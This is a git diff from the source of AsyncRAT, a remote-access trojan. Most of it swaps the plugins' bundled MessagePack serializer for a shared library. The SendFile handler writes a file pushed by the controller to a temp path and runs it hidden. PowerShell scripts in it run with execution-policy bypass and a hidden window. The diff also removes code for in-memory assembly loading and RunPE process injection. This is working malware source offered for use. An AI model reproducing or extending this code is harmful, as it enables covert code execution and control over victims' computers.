+--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDA) - { - // str 16 stores a byte array whose length is upto (2^16)-1 bytes: - // +--------+--------+--------+========+ - // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - // +--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDB) - { - // str 32 stores a byte array whose length is upto (2^32)-1 bytes: - // +--------+--------+--------+--------+--------+========+ - // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - // +--------+--------+--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xD0) - { - // int 8 stores a 8-bit signed integer - // +--------+--------+ - // | 0xd0 |ZZZZZZZZ| - // +--------+--------+ - SetAsInteger((sbyte)ms.ReadByte()); - } - else if (lvByte == 0xD1) - { - // int 16 stores a 16-bit big-endian signed integer - // +--------+--------+--------+ - // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt16(rawByte, 0)); - } - else if (lvByte == 0xD2) - { - // int 32 stores a 32-bit big-endian signed integer - // +--------+--------+--------+--------+--------+ - // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt32(rawByte, 0)); - } - else if (lvByte == 0xD3) - { - // int 64 stores a 64-bit big-endian signed integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt64(rawByte, 0)); - } - } - - public byte[] Encode2Bytes() - { - using (MemoryStream ms = new MemoryStream()) - { - Encode2Stream(ms); - byte[] r = new byte[ms.Length]; - ms.Position = 0; - ms.Read(r, 0, (int)ms.Length); - return Zip.Compress(r); - } - } - - public void Encode2Stream(Stream ms) - { - switch (this.valueType) - { - case MsgPackType.Unknown: - case MsgPackType.Null: - WriteTools.WriteNull(ms); - break; - case MsgPackType.String: - WriteTools.WriteString(ms, (String)this.innerValue); - break; - case MsgPackType.Integer: - WriteTools.WriteInteger(ms, (Int64)this.innerValue); - break; - case MsgPackType.UInt64: - WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); - break; - case MsgPackType.Boolean: - WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); - break; - case MsgPackType.Float: - WriteTools.WriteFloat(ms, (Double)this.innerValue); - break; - case MsgPackType.Single: - WriteTools.WriteFloat(ms, (Single)this.innerValue); - break; - case MsgPackType.DateTime: - WriteTools.WriteInteger(ms, GetAsInteger()); - break; - case MsgPackType.Binary: - WriteTools.WriteBinary(ms, (byte[])this.innerValue); - break; - case MsgPackType.Map: - WriteMap(ms); - break; - case MsgPackType.Array: - WirteArray(ms); - break; - default: - WriteTools.WriteNull(ms); - break; - } - } - - public String AsString - { - get - { - return GetAsString(); - } - set - { - SetAsString(value); - } - } - - public Int64 AsInteger - { - get { return GetAsInteger(); } - set { SetAsInteger((Int64)value); } - } - - public Double AsFloat - { - get { return GetAsFloat(); } - set { SetAsFloat(value); } - } - public MsgPackArray AsArray - { - get - { - lock (this) - { - if (refAsArray == null) - { - refAsArray = new MsgPackArray(this, children); - } - } - return refAsArray; - } - } - - - public MsgPackType ValueType - { - get { return valueType; } - } - - - IEnumerator IEnumerable.GetEnumerator() - { - return new MsgPackEnum(children); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/MsgPackType.cs deleted file mode 100644 index 2567ae6..0000000 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/MsgPackType.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public enum MsgPackType - { - Unknown = 0, - Null = 1, - Map = 2, - Array = 3, - String = 4, - Integer = 5, - UInt64 = 6, - Boolean = 7, - Float = 8, - Single = 9, - DateTime = 10, - Binary = 11 - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/ReadTools.cs deleted file mode 100644 index 9e85968..0000000 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/ReadTools.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - class ReadTools - { - public static String ReadString(Stream ms, int len) - { - byte[] rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - - public static String ReadString(Stream ms) - { - byte strFlag = (byte)ms.ReadByte(); - return ReadString(strFlag, ms); - } - - public static String ReadString(byte strFlag, Stream ms) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = null; - int len = 0; - if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) - { - len = strFlag - 0xA0; - } - else if (strFlag == 0xD9) - { - len = ms.ReadByte(); - } - else if (strFlag == 0xDA) - { - rawBytes = new byte[2]; - ms.Read(rawBytes, 0, 2); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToUInt16(rawBytes, 0); - } - else if (strFlag == 0xDB) - { - rawBytes = new byte[4]; - ms.Read(rawBytes, 0, 4); - rawBytes = BytesTools.SwapBytes(rawBytes); - len = BitConverter.ToInt32(rawBytes, 0); - } - rawBytes = new byte[len]; - ms.Read(rawBytes, 0, len); - return BytesTools.GetString(rawBytes); - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/WriteTools.cs deleted file mode 100644 index 3de69fa..0000000 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/MessagePack/WriteTools.cs +++ /dev/null @@ -1,199 +0,0 @@ -using System; -using System.IO; - -namespace Plugin.MessagePack -{ - class WriteTools - { - public static void WriteNull(Stream ms) - { - ms.WriteByte(0xC0); - } - - public static void WriteString(Stream ms, String strVal) - { - // - //fixstr stores a byte array whose length is upto 31 bytes: - //+--------+========+ - //|101XXXXX| data | - //+--------+========+ - // - //str 8 stores a byte array whose length is upto (2^8)-1 bytes: - //+--------+--------+========+ - //| 0xd9 |YYYYYYYY| data | - //+--------+--------+========+ - // - //str 16 stores a byte array whose length is upto (2^16)-1 bytes: - //+--------+--------+--------+========+ - //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - //+--------+--------+--------+========+ - // - //str 32 stores a byte array whose length is upto (2^32)-1 bytes: - //+--------+--------+--------+--------+--------+========+ - //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - //+--------+--------+--------+--------+--------+========+ - // - //where - //* XXXXX is a 5-bit unsigned integer which represents N - //* YYYYYYYY is a 8-bit unsigned integer which represents N - //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N - //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N - //* N is the length of data - - byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 31) - { - b = (byte)(0xA0 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 255) - { - b = 0xD9; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDA; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDB; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - public static void WriteBinary(Stream ms, byte[] rawBytes) - { - - byte[] lenBytes = null; - int len = rawBytes.Length; - byte b = 0; - if (len <= 255) - { - b = 0xC4; - ms.WriteByte(b); - b = (byte)len; - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xC5; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xC6; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - ms.Write(rawBytes, 0, rawBytes.Length); - } - - public static void WriteFloat(Stream ms, Double fVal) - { - ms.WriteByte(0xCB); - ms.Write(BytesTools.SwapDouble(fVal), 0, 8); - } - - public static void WriteSingle(Stream ms, Single fVal) - { - ms.WriteByte(0xCA); - ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); - } - - public static void WriteBoolean(Stream ms, Boolean bVal) - { - if (bVal) - { - ms.WriteByte(0xC3); - } - else - { - ms.WriteByte(0xC2); - } - } - - - public static void WriteUInt64(Stream ms, UInt64 iVal) - { - ms.WriteByte(0xCF); - byte[] dataBytes = BitConverter.GetBytes(iVal); - ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); - } - - public static void WriteInteger(Stream ms, Int64 iVal) - { - if (iVal >= 0) - { // 正数 - if (iVal <= 127) - { - ms.WriteByte((byte)iVal); - } - else if (iVal <= 255) - { //UInt8 - ms.WriteByte(0xCC); - ms.WriteByte((byte)iVal); - } - else if (iVal <= (UInt32)0xFFFF) - { //UInt16 - ms.WriteByte(0xCD); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= (UInt32)0xFFFFFFFF) - { //UInt32 - ms.WriteByte(0xCE); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else - { //Int64 - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - } - else - { // <0 - if (iVal <= Int32.MinValue) //-2147483648 // 64 bit - { - ms.WriteByte(0xD3); - ms.Write(BytesTools.SwapInt64(iVal), 0, 8); - } - else if (iVal <= Int16.MinValue) // -32768 // 32 bit - { - ms.WriteByte(0xD2); - ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); - } - else if (iVal <= -128) // -32768 // 32 bit - { - ms.WriteByte(0xD1); - ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); - } - else if (iVal <= -32) - { - ms.WriteByte(0xD0); - ms.WriteByte((byte)iVal); - } - else - { - ms.WriteByte((byte)iVal); - } - } // end <0 - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs index 02f1a11..3c8e772 100644 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Packet.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using Plugin.StreamLibrary; using Plugin.StreamLibrary.UnsafeCodecs; using System; diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/RemoteDesktop.csproj b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/RemoteDesktop.csproj index 581134a..c1cabe4 100644 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/RemoteDesktop.csproj +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/RemoteDesktop.csproj @@ -1,5 +1,7 @@  + + Debug @@ -47,11 +49,6 @@ - - - - - @@ -62,7 +59,28 @@ - + + + + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + MessagePackLib + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Zip.cs b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Zip.cs deleted file mode 100644 index 60db829..0000000 --- a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Zip.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.IO; -using System.IO.Compression; - -namespace Plugin -{ - public static class Zip - { - public static byte[] Decompress(byte[] input) - { - using (var source = new MemoryStream(input)) - { - byte[] lengthBytes = new byte[4]; - source.Read(lengthBytes, 0, 4); - - var length = BitConverter.ToInt32(lengthBytes, 0); - using (var decompressionStream = new GZipStream(source, - CompressionMode.Decompress)) - { - var result = new byte[length]; - decompressionStream.Read(result, 0, length); - return result; - } - } - } - - public static byte[] Compress(byte[] input) - { - using (var result = new MemoryStream()) - { - var lengthBytes = BitConverter.GetBytes(input.Length); - result.Write(lengthBytes, 0, 4); - - using (var compressionStream = new GZipStream(result, - CompressionMode.Compress)) - { - compressionStream.Write(input, 0, input.Length); - compressionStream.Flush(); - - } - return result.ToArray(); - } - } - } -} diff --git a/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/packages.config b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/packages.config new file mode 100644 index 0000000..1bc7f33 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs index eaa60d3..0c6f18a 100644 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; @@ -58,7 +58,7 @@ namespace Plugin } else { - IsConnected = false; + Disconnected(); return; } } @@ -98,7 +98,7 @@ namespace Plugin { if (!TcpClient.Connected || !IsConnected) { - IsConnected = false; + Disconnected(); return; } int recevied = SslClient.EndRead(ar); @@ -119,14 +119,14 @@ namespace Plugin int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); if (rc <= 0) { - IsConnected = false; + Disconnected(); return; } Offset += rc; HeaderSize -= rc; if (HeaderSize < 0) { - IsConnected = false; + Disconnected(); return; } } @@ -145,20 +145,20 @@ namespace Plugin } else if (HeaderSize < 0) { - IsConnected = false; + Disconnected(); return; } SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); } else { - IsConnected = false; + Disconnected(); return; } } catch { - IsConnected = false; + Disconnected(); return; } } diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs index ea63de3..19fab6e 100644 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs @@ -4,7 +4,7 @@ using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Threading; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; namespace Plugin.Handler { @@ -15,22 +15,23 @@ namespace Plugin.Handler try { //Drop To Disk - string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; - File.WriteAllBytes(fullPath, Methods.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes())); + string fullPath = Path.GetTempFileName() + "g r" + unpack_msgpack.ForcePathObject("Extension").AsString; + File.WriteAllBytes(fullPath, Zip.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes())); if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1")) Process.Start(new ProcessStartInfo { FileName = "cmd", - Arguments = $"/k start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"{fullPath}\" & exit", + Arguments = $"/c start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File {"'" + "\"" + fullPath + "\"" + "'"} & exit", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden, UseShellExecute = true, ErrorDialog = false, }); else - Process.Start(new ProcessStartInfo { + Process.Start(new ProcessStartInfo + { FileName = "cmd", - Arguments = $"/c start {fullPath} & exit", + Arguments = $"/c start /b powershell Start-Process -FilePath {"'" + "\"" + fullPath + "\"" + "'"} & exit", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden, UseShellExecute = true, @@ -51,59 +52,5 @@ namespace Plugin.Handler } Connection.Disconnected(); } - - public void SendToMemory(MsgPack unpack_msgpack) - { - try - { - byte[] buffer = unpack_msgpack.ForcePathObject("File").GetAsBytes(); - string injection = unpack_msgpack.ForcePathObject("Inject").AsString; - if (injection.Length == 0) - { - //Reflection - new Thread(delegate () - { - try - { - Assembly loader = Assembly.Load(Methods.Decompress(buffer)); - object[] parm = null; - if (loader.EntryPoint.GetParameters().Length > 0) - { - parm = new object[] { new string[] { null } }; - } - loader.EntryPoint.Invoke(null, parm); - } - catch (Exception ex) - { - Packet.Error(ex.Message); - } - }) - { IsBackground = true }.Start(); - - } - else - { - //RunPE - new Thread(delegate () - { - try - { - RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), Methods.Decompress(buffer)); - } - catch (Exception ex) - { - Packet.Error(ex.Message); - } - }) - { IsBackground = true }.Start(); - } - } - catch (Exception ex) - { - Packet.Error(ex.Message); - } - Connection.Disconnected(); - } } - } diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/ILMerge.props b/AsyncRAT-C#/Plugin/SendFile/SendFile/ILMerge.props new file mode 100644 index 0000000..b0fc9d2 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + false + + + + + + + + + + + + + + + + + + + + + + + diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/ILMergeOrder.txt b/AsyncRAT-C#/Plugin/SendFile/SendFile/ILMergeOrder.txt new file mode 100644 index 0000000..3fda7f5 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/ILMergeOrder.txt @@ -0,0 +1,4 @@ +# this file contains the partial list of the merged assemblies in the merge order +# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build +# and finetune merge order to your satisfaction + diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/BytesTools.cs deleted file mode 100644 index bd66e46..0000000 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/BytesTools.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public class BytesTools - { - static UTF8Encoding utf8Encode = new UTF8Encoding(); - - public static byte[] GetUtf8Bytes(String s) - { - - return utf8Encode.GetBytes(s); - } - - public static String GetString(byte[] utf8Bytes) - { - return utf8Encode.GetString(utf8Bytes); - } - - public static String BytesAsString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:D3} ", b)); - } - return sb.ToString(); - } - - - public static String BytesAsHexString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:X2} ", b)); - } - return sb.ToString(); - } - - /// - /// 交换byte数组数据 - /// 可用于高低数据交换 - /// - /// 要交换的byte数组 - /// 返回交换后的数据 - public static byte[] SwapBytes(byte[] v) - { - byte[] r = new byte[v.Length]; - int j = v.Length - 1; - for (int i = 0; i < r.Length; i++) - { - r[i] = v[j]; - j--; - } - return r; - } - - public static byte[] SwapInt64(Int64 v) - { - //byte[] r = new byte[8]; - //r[7] = (byte)v; - //r[6] = (byte)(v >> 8); - //r[5] = (byte)(v >> 16); - //r[4] = (byte)(v >> 24); - //r[3] = (byte)(v >> 32); - //r[2] = (byte)(v >> 40); - //r[1] = (byte)(v >> 48); - //r[0] = (byte)(v >> 56); - return SwapBytes(BitConverter.GetBytes(v)); - } - - public static byte[] SwapInt32(Int32 v) - { - byte[] r = new byte[4]; - r[3] = (byte)v; - r[2] = (byte)(v >> 8); - r[1] = (byte)(v >> 16); - r[0] = (byte)(v >> 24); - return r; - } - - - public static byte[] SwapInt16(Int16 v) - { - byte[] r = new byte[2]; - r[1] = (byte)v; - r[0] = (byte)(v >> 8); - return r; - } - - public static byte[] SwapDouble(Double v) - { - return SwapBytes(BitConverter.GetBytes(v)); - } - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/MsgPack.cs deleted file mode 100644 index f78f3f1..0000000 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/MessagePack/MsgPack.cs +++ /dev/null @@ -1,927 +0,0 @@ -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - - -namespace Plugin.MessagePack -{ - public class MsgPackEnum : IEnumerator - { - List children; - int position = -1; - - public MsgPackEnum(List obj) - { - children = obj; - } - object IEnumerator.Current - { - get { return children[position]; } - } - - bool IEnumerator.MoveNext() - { - position++; - return (position < children.Count); - } - - void IEnumerator.Reset() - { - position = -1; - } - - } - - public class MsgPackArray - { - List children; - MsgPack owner; - - public MsgPackArray(MsgPack msgpackObj, List listObj) - { - owner = msgpackObj; - children = listObj; - } - - public MsgPack Add() - { - return owner.AddArrayChild(); - } - - public MsgPack Add(String value) - { - MsgPack obj = owner.AddArrayChild(); - obj.AsString = value; - return obj; - } - - public MsgPack Add(Int64 value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsInteger(value); - return obj; - } - - public MsgPack Add(Double value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsFloat(value); - return obj; - } - - public MsgPack this[int index] - { - get { return children[index]; } - } - - public int Length - { - get { return children.Count; } - } - } - - public class MsgPack : IEnumerable - { - string name; - string lowerName; - object innerValue; - MsgPackType valueType; - MsgPack parent; - List children = new List(); - MsgPackArray refAsArray = null; - - private void SetName(string value) - { - this.name = value; - this.lowerName = name.ToLower(); - } - - private void Clear() - { - for (int i = 0; i < children.Count; i++) - { - ((MsgPack)children[i]).Clear(); - } - children.Clear(); - } - - private MsgPack InnerAdd() - { - MsgPack r = new MsgPack(); - r.parent = this; - this.children.Add(r); - return r; - } - - private int IndexOf(string name) - { - int i = -1; - int r = -1; - - string tmp = name.ToLower(); - foreach (MsgPack item in children) - { - i++; - if (tmp.Equals(item.lowerName)) - { - r = i; - break; - } - } - return r; - } - - public MsgPack FindObject(string name) - { - int i = IndexOf(name); - if (i == -1) - { - return null; - } - else - { - return this.children[i]; - } - } - - - private MsgPack InnerAddMapChild() - { - if (valueType != MsgPackType.Map) - { - Clear(); - this.valueType = MsgPackType.Map; - } - return InnerAdd(); - } - - private MsgPack InnerAddArrayChild() - { - if (valueType != MsgPackType.Array) - { - Clear(); - this.valueType = MsgPackType.Array; - } - return InnerAdd(); - } - - public MsgPack AddArrayChild() - { - return InnerAddArrayChild(); - } - - private void WriteMap(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x80 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDE; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDF; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - for (int i = 0; i < len; i++) - { - WriteTools.WriteString(ms, children[i].name); - children[i].Encode2Stream(ms); - } - } - - private void WirteArray(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x90 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDC; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDD; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - - for (int i = 0; i < len; i++) - { - ((MsgPack)children[i]).Encode2Stream(ms); - } - } - - public void SetAsInteger(Int64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.Integer; - } - - public void SetAsUInt64(UInt64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.UInt64; - } - - public UInt64 GetAsUInt64() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToUInt64((Int64)this.innerValue); - case MsgPackType.UInt64: - return (UInt64)this.innerValue; - case MsgPackType.String: - return UInt64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToUInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToUInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToUInt64((DateTime)this.innerValue); - default: - return 0; - } - - } - - public Int64 GetAsInteger() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return (Int64)this.innerValue; - case MsgPackType.UInt64: - return Convert.ToInt64((Int64)this.innerValue); - case MsgPackType.String: - return Int64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - public Double GetAsFloat() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToDouble((Int64)this.innerValue); - case MsgPackType.String: - return Double.Parse((String)this.innerValue); - case MsgPackType.Float: - return (Double)this.innerValue; - case MsgPackType.Single: - return (Single)this.innerValue; - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - - public void SetAsBytes(byte[] value) - { - this.innerValue = value; - this.valueType = MsgPackType.Binary; - } - - public byte[] GetAsBytes() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return BitConverter.GetBytes((Int64)this.innerValue); - case MsgPackType.String: - return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); - case MsgPackType.Float: - return BitConverter.GetBytes((Double)this.innerValue); - case MsgPackType.Single: - return BitConverter.GetBytes((Single)this.innerValue); - case MsgPackType.DateTime: - long dateval = ((DateTime)this.innerValue).ToBinary(); - return BitConverter.GetBytes(dateval); - case MsgPackType.Binary: - return (byte[])this.innerValue; - default: - return new byte[] { }; - } - } - - public void Add(string key, String value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - 